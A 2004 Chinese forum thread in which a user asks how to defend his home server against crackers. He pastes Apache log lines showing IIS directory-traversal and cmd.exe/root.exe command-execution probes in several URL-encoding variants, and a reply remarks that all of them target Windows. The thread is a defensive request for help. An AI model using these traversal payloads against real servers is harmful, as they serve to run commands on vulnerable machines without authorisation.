如何防御Cracker?

nothing9

有人想黑我,我该怎么办?开了猫的路由和NAT功能,portsentry和snort可以防御吗?
还有个问题:下面是apache的日志,可221.233.192.62是我自己动态获取的地址,怎么显示cracker的ip地址?

221.233.192.62 - - [21/Feb/2004:21:07:37 +0800] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 214 "-" "-"
221.233.192.62 - - [21/Feb/2004:21:07:37 +0800] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 212 "-" "-"
221.233.192.62 - - [21/Feb/2004:21:07:37 +0800] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 222 "-" "-"
221.233.192.62 - - [21/Feb/2004:21:07:37 +0800] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 222 "-" "-"
221.233.192.62 - - [21/Feb/2004:21:07:37 +0800] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 236 "-" "-"
221.233.192.62 - - [21/Feb/2004:21:07:37 +0800] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 253 "-" "-"
221.233.192.62 - - [21/Feb/2004:21:07:37 +0800] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 253 "-" "-"
221.233.192.62 - - [21/Feb/2004:21:07:37 +0800] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 269 "-" "-"
221.233.192.62 - - [21/Feb/2004:21:07:37 +0800] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 235 "-" "-"
221.233.192.62 - - [21/Feb/2004:21:07:37 +0800] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 235 "-" "-"
221.233.192.62 - - [21/Feb/2004:21:07:37 +0800] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 235 "-" "-"
221.233.192.62 - - [21/Feb/2004:21:07:37 +0800] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 235 "-" "-"
221.233.192.62 - - [21/Feb/2004:21:07:37 +0800] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 226 "-" "-"
221.233.192.62 - - [21/Feb/2004:21:07:40 +0800] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 226 "-" "-"
221.233.192.62 - - [21/Feb/2004:21:07:40 +0800] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 236 "-" "-"
221.233.192.62 - - [21/Feb/2004:21:07:40 +0800] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 236 "-" "-"

bart

赫赫，全是攻击windows的。